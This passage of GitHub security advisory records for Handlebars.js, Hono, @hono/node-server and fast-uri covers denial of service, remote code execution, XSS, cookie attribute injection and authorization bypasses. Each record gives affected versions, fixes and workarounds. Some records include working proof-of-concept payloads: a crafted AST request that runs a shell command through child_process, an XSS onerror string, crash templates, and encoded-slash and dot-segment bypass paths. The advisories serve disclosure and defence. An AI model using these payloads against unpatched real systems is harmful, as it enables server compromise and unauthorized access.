"details": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and \u2014 when not caught by the application \u2014 crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile(\u0027{{*n}}\u0027)({});\nHandlebars.compile(\u0027{{*decorator}}\u0027)({});\nHandlebars.compile(\u0027{{*constructor}}\u0027)({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send(\u0027Invalid template\u0027);\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.",
"id": "GHSA-9cx6-37pm-9jff",
"modified": "2026-03-30T20:08:14Z",
"published": "2026-03-27T18:21:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33939"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation"
}
GHSA-2W6W-674Q-4C4Q
Vulnerability from github – Published: 2026-03-27 18:19 – Updated: 2026-03-27 21:52Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}
The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33937"
],
"database_specific": {
"cwe_ids": [
"CWE-843",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:19:58Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n let text = req.body.text;\n let template = Handlebars.compile(text);\n let result = template();\n res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n \"text\": {\n \"type\": \"Program\",\n \"body\": [\n {\n \"type\": \"MustacheStatement\",\n \"path\": {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [\"lookup\"],\n \"original\": \"lookup\",\n \"loc\": null\n },\n \"params\": [\n {\n \"type\": \"PathExpression\",\n \"data\": false,\n \"depth\": 0,\n \"parts\": [],\n \"original\": \"this\",\n \"loc\": null\n },\n {\n \"type\": \"NumberLiteral\",\n \"value\": \"{},{})) + process.getBuiltinModule(\u0027child_process\u0027).execFileSync(\u0027id\u0027).toString() //\",\n \"original\": 1,\n \"loc\": null\n }\n ],\n \"escaped\": true,\n \"strip\": { \"open\": false, \"close\": false },\n \"loc\": null\n }\n ]\n }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a `string`, never a plain object or JSON-deserialized value.\n ```javascript\n if (typeof templateInput !== \u0027string\u0027) {\n throw new TypeError(\u0027Template must be a string\u0027);\n }\n ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are pre-compiled at build time; `compile()` will be unavailable.",
"id": "GHSA-2w6w-674q-4c4q",
"modified": "2026-03-27T21:52:17Z",
"published": "2026-03-27T18:19:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has JavaScript Injection via AST Type Confusion"
}
GHSA-2QVQ-RJWJ-GVW9
Vulnerability from github – Published: 2026-03-26 22:20 – Updated: 2026-03-27 21:52Summary
resolvePartial() in the Handlebars runtime resolves partial names via a plain property lookup on options.partials without guarding against prototype-chain traversal. When Object.prototype has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS.
Description
The root cause is in lib/handlebars/runtime.js inside resolvePartial() and invokePartial():
// Vulnerable: plain bracket access traverses Object.prototype
partial = options.partials[options.name];
hasOwnProperty is never checked, so if Object.prototype has been seeded with a key whose name matches a partial reference in the template (e.g. widget), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.
Prerequisites for exploitation:
1. The target application must be vulnerable to prototype pollution (e.g. via qs, minimist, or
any querystring/JSON merge sink).
2. The attacker must know or guess the name of a partial reference used in a template.
Proof of Concept
const Handlebars = require('handlebars');
// Step 1: Prototype pollution (via qs, minimist, or another vector)
Object.prototype.widget = '<img src=x onerror="alert(document.domain)">';
// Step 2: Normal template that references a partial
const template = Handlebars.compile('<div>Welcome! {{> widget}}</div>');
// Step 3: Render — XSS payload injected unescaped
const output = template({});
// Output: <div>Welcome! <img src=x onerror="alert(document.domain)"></div>
The runtime prints a prototype access warning claiming "access has been denied," but the partial still resolves and returns the polluted value.
Workarounds
- Apply
Object.freeze(Object.prototype)early in application startup to prevent prototype pollution. Note: this may break other libraries. - Use the Handlebars runtime-only build (
handlebars/runtime), which does not compile templates and reduces the attack surface.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33916"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:20:51Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = \u0027\u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u0027;\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile(\u0027\u003cdiv\u003eWelcome! {{\u003e widget}}\u003c/div\u003e\u0027);\n\n// Step 3: Render \u2014 XSS payload injected unescaped\nconst output = template({});\n// Output: \u003cdiv\u003eWelcome! \u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u003c/div\u003e\n```\n\n\u003e The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.",
"id": "GHSA-2qvq-rjwj-gvw9",
"modified": "2026-03-27T21:52:02Z",
"published": "2026-03-26T22:20:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23369"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23383"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection"
}
GHSA-5PQ2-9X2X-5P6W
Vulnerability from github – Published: 2026-03-04 19:49 – Updated: 2026-03-05 15:26Summary
The setCookie() utility did not validate semicolons (;), carriage returns (\r), or newline characters (\n) in the domain and path options when constructing the Set-Cookie header.
Because cookie attributes are delimited by semicolons, this could allow injection of additional cookie attributes if untrusted input was passed into these fields.
Details
setCookie() builds the Set-Cookie header by concatenating option values. While the cookie value itself is URL-encoded, the domain and path options were previously interpolated without rejecting unsafe characters.
Including ;, \r, or \n in these fields could result in unintended additional attributes (such as SameSite, Secure, Domain, or Path) being appended to the cookie header.
Modern runtimes prevent full header injection via CRLF, so this issue is limited to attribute-level manipulation within a single Set-Cookie header.
The issue has been fixed by rejecting these characters in the domain and path options.
Impact
An attacker may be able to manipulate cookie attributes if an application passes user-controlled input directly into the domain or path options of setCookie().
This could affect cookie scoping or security attributes depending on browser behavior. Exploitation requires application-level misuse of cookie options.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29086"
],
"database_specific": {
"cwe_ids": [
"CWE-1113",
"CWE-113"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T19:49:14Z",
"nvd_published_at": "2026-03-04T23:16:10Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `setCookie()` utility did not validate semicolons (`;`), carriage returns (`\\r`), or newline characters (`\\n`) in the `domain` and `path` options when constructing the `Set-Cookie` header.\n\nBecause cookie attributes are delimited by semicolons, this could allow injection of additional cookie attributes if untrusted input was passed into these fields.\n\n## Details\n\n`setCookie()` builds the `Set-Cookie` header by concatenating option values. While the cookie value itself is URL-encoded, the `domain` and `path` options were previously interpolated without rejecting unsafe characters.\n\nIncluding `;`, `\\r`, or `\\n` in these fields could result in unintended additional attributes (such as `SameSite`, `Secure`, `Domain`, or `Path`) being appended to the cookie header.\n\nModern runtimes prevent full header injection via CRLF, so this issue is limited to attribute-level manipulation within a single `Set-Cookie` header.\n\nThe issue has been fixed by rejecting these characters in the `domain` and `path` options.\n\n## Impact\n\nAn attacker may be able to manipulate cookie attributes if an application passes user-controlled input directly into the `domain` or `path` options of `setCookie()`.\n\nThis could affect cookie scoping or security attributes depending on browser behavior. Exploitation requires application-level misuse of cookie options.",
"id": "GHSA-5pq2-9x2x-5p6w",
"modified": "2026-03-05T15:26:43Z",
"published": "2026-03-04T19:49:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-5pq2-9x2x-5p6w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29086"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/44ae0c8cc4d5ab2bed529127a4ac72e1483ad073"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono Vulnerable to Cookie Attribute Injection via Unsanitized domain and path in setCookie()"
}
GHSA-9VQF-7F2P-GF9V
Vulnerability from github – Published: 2026-05-06 23:50 – Updated: 2026-05-14 20:32Summary
bodyLimit() does not reliably enforce maxSize for requests without a usable Content-Length (e.g. Transfer-Encoding: chunked). Oversized requests can reach handlers and return 200 instead of 413.
Details
For chunked / unknown-length requests, bodyLimit() wraps the body in a stream that counts bytes asynchronously, then runs the handler before the size decision is final. The 413 is only applied afterwards by checking c.error.
This lets the limit be bypassed when:
- the handler does not read the body,
- the handler reads only the first chunk(s) and returns, or
- the handler reads the body but swallows the read error in
try/catch.
In all three cases the handler returns 200 before the limit check completes (or its result is observed).
The fix is to enforce the size decision before next() runs, instead of retrofitting the response via c.error afterwards.
Impact
Applications relying on bodyLimit() as a hard boundary can be bypassed: oversized chunked requests can reach handler logic and return successful responses. Per-request data exposure is bounded by maxSize, but the documented guarantee — "oversized requests are rejected before business logic runs" — does not hold.
Credits
- @lalalala5678 (slow chunked / early return variants)
- @Jvr2022 (error handling bypass)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44456"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:50:10Z",
"nvd_published_at": "2026-05-13T16:16:57Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`bodyLimit()` does not reliably enforce `maxSize` for requests without a usable `Content-Length` (e.g. `Transfer-Encoding: chunked`). Oversized requests can reach handlers and return `200` instead of `413`.\n\n## Details\n\nFor chunked / unknown-length requests, `bodyLimit()` wraps the body in a stream that counts bytes asynchronously, then runs the handler before the size decision is final. The `413` is only applied afterwards by checking `c.error`.\n\nThis lets the limit be bypassed when:\n\n- the handler does not read the body,\n- the handler reads only the first chunk(s) and returns, or\n- the handler reads the body but swallows the read error in `try/catch`.\n\nIn all three cases the handler returns `200` before the limit check completes (or its result is observed).\n\nThe fix is to enforce the size decision before `next()` runs, instead of retrofitting the response via `c.error` afterwards.\n\n## Impact\n\nApplications relying on `bodyLimit()` as a hard boundary can be bypassed: oversized chunked requests can reach handler logic and return successful responses. Per-request data exposure is bounded by `maxSize`, but the documented guarantee \u2014 \"oversized requests are rejected before business logic runs\" \u2014 does not hold.\n\n## Credits\n\n- @lalalala5678 (slow chunked / early return variants)\n- @Jvr2022 (error handling bypass)",
"id": "GHSA-9vqf-7f2p-gf9v",
"modified": "2026-05-14T20:32:03Z",
"published": "2026-05-06T23:50:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-9vqf-7f2p-gf9v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44456"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono: bodyLimit() can be bypassed for chunked / unknown-length requests"
}
GHSA-WC8C-QW6V-H7F6
Vulnerability from github – Published: 2026-03-04 20:05 – Updated: 2026-03-06 22:43Summary
When using @hono/node-server's static file serving together with route-based middleware protections (e.g. protecting /admin/*), inconsistent URL decoding can allow protected static resources to be accessed without authorization.
In particular, paths containing encoded slashes (%2F) may be evaluated differently by routing/middleware matching versus static file path resolution, enabling a bypass where middleware does not run but the static file is still served.
Details
The routing layer and the node-server static handler normalize request paths differently. The router preserves %2F as a literal string when matching routes, while the static handler decodes %2F into / before resolving the filesystem path.
Example request:
/admin%2Fsecret.html
This may:
- fail to match middleware intended for /admin/*, but
- still be resolved by the static handler as /admin/secret.html under the configured static root.
This does not allow access outside the configured static root and is not a path traversal vulnerability.
Impact
An unauthenticated attacker could bypass route-based authorization protections for protected static resources by supplying paths containing encoded slashes.
Applications relying solely on route-based middleware to protect static subpaths under the same static root may have exposed those resources.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@hono/node-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29087"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-04T20:05:49Z",
"nvd_published_at": "2026-03-06T18:16:19Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen using @hono/node-server\u0027s static file serving together with route-based middleware protections (e.g. protecting `/admin/*`), inconsistent URL decoding can allow protected static resources to be accessed without authorization.\n\nIn particular, paths containing encoded slashes (`%2F`) may be evaluated differently by routing/middleware matching versus static file path resolution, enabling a bypass where middleware does not run but the static file is still served.\n\n## Details\n\nThe routing layer and the node-server static handler normalize request paths differently. The router preserves `%2F` as a literal string when matching routes, while the static handler decodes `%2F` into `/` before resolving the filesystem path.\n\nExample request:\n\n- `/admin%2Fsecret.html`\n\nThis may:\n- fail to match middleware intended for `/admin/*`, but\n- still be resolved by the static handler as `/admin/secret.html` under the configured static root.\n\nThis does not allow access outside the configured static root and is not a path traversal vulnerability.\n\n## Impact\n\nAn unauthenticated attacker could bypass route-based authorization protections for protected static resources by supplying paths containing encoded slashes.\n\nApplications relying solely on route-based middleware to protect static subpaths under the same static root may have exposed those resources.",
"id": "GHSA-wc8c-qw6v-h7f6",
"modified": "2026-03-06T22:43:58Z",
"published": "2026-03-04T20:05:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/node-server/security/advisories/GHSA-wc8c-qw6v-h7f6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29087"
},
{
"type": "WEB",
"url": "https://github.com/honojs/node-server/commit/455015be1697dd89974a68b70350ea7b2d126d2e"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/node-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@hono/node-server has authorization bypass for protected static paths via encoded slashes in Serve Static Middleware"
}
GHSA-92PP-H63X-V22M
Vulnerability from github – Published: 2026-04-08 00:16 – Updated: 2026-04-08 15:34Summary
A path handling inconsistency in serveStatic allows protected static files to be accessed by using repeated slashes (//) in the request path.
When route-based middleware (e.g., /admin/*) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass.
Details
The routing layer and serveStatic handle repeated slashes differently.
For example:
/admin/secret.txt=> matches/admin/*//admin/secret.txt=> may not match/admin/*
This inconsistency allows a request such as:
GET //admin/secret.txt
to bypass middleware registered on /admin/* and access protected files.
Impact
An attacker can access static files that are intended to be protected by route-based middleware by using repeated slashes in the request path.
This can lead to unauthorized access to sensitive files under the static root.
This issue affects applications that rely on serveStatic together with route-based middleware for access control.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@hono/node-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39406"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:16:39Z",
"nvd_published_at": "2026-04-08T15:16:14Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA path handling inconsistency in `serveStatic` allows protected static files to be accessed by using repeated slashes (`//`) in the request path.\n\nWhen route-based middleware (e.g., `/admin/*`) is used for authorization, the router may not match paths containing repeated slashes, while `serveStatic` resolves them as normalized paths. This can lead to a middleware bypass.\n\n## Details\n\nThe routing layer and `serveStatic` handle repeated slashes differently.\n\nFor example:\n\n- `/admin/secret.txt` =\u003e matches `/admin/*`\n- `//admin/secret.txt` =\u003e may not match `/admin/*`\n\nThis inconsistency allows a request such as:\n\n```\nGET //admin/secret.txt\n```\n\nto bypass middleware registered on `/admin/*` and access protected files.\n\n## Impact\n\nAn attacker can access static files that are intended to be protected by route-based middleware by using repeated slashes in the request path.\n\nThis can lead to unauthorized access to sensitive files under the static root.\n\nThis issue affects applications that rely on `serveStatic` together with route-based middleware for access control.",
"id": "GHSA-92pp-h63x-v22m",
"modified": "2026-04-08T15:34:25Z",
"published": "2026-04-08T00:16:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/node-server/security/advisories/GHSA-92pp-h63x-v22m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39406"
},
{
"type": "WEB",
"url": "https://github.com/honojs/node-server/commit/025c30f55d589ddbe6048b151d77e904f67a8cc2"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/node-server"
},
{
"type": "WEB",
"url": "https://github.com/honojs/node-server/releases/tag/v1.19.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "@hono/node-server: Middleware bypass via repeated slashes in serveStatic"
}
GHSA-Q3J6-QGPJ-74H6
Vulnerability from github – Published: 2026-05-08 17:15 – Updated: 2026-05-08 17:15Impact
fast-uri v3.1.0 and earlier decodes percent-encoded path separators (%2F) and dot segments (%2E) before applying dot-segment removal in normalize() and equal(). This makes encoded path data behave like real / and .., so distinct URIs collapse onto the same normalized path.
For example, http://example.com/public/%2e%2e/admin normalizes to http://example.com/admin, and equal() considers them the same URI.
Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed. A path that looks confined under an allowed prefix can normalize to a different location.
Patches
Upgrade to fast-uri >= 3.1.1.
Workarounds
None. Upgrade to the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.0"
},
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6321"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T17:15:09Z",
"nvd_published_at": "2026-05-04T20:16:20Z",
"severity": "HIGH"
},
"details": "### Impact\n\n`fast-uri` v3.1.0 and earlier decodes percent-encoded path separators (`%2F`) and dot segments (`%2E`) before applying dot-segment removal in `normalize()` and `equal()`. This makes encoded path data behave like real `/` and `..`, so distinct URIs collapse onto the same normalized path.\n\nFor example, `http://example.com/public/%2e%2e/admin` normalizes to `http://example.com/admin`, and `equal()` considers them the same URI.\n\nApplications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed. A path that looks confined under an allowed prefix can normalize to a different location.\n\n### Patches\n\nUpgrade to `fast-uri` \u003e= 3.1.1.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
"id": "GHSA-q3j6-qgpj-74h6",
"modified": "2026-05-08T17:15:09Z",
"published": "2026-05-08T17:15:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6321"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fast-uri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-uri vulnerable to path traversal via percent-encoded dot segments"
}
GHSA-PPP5-5V6C-4JWP
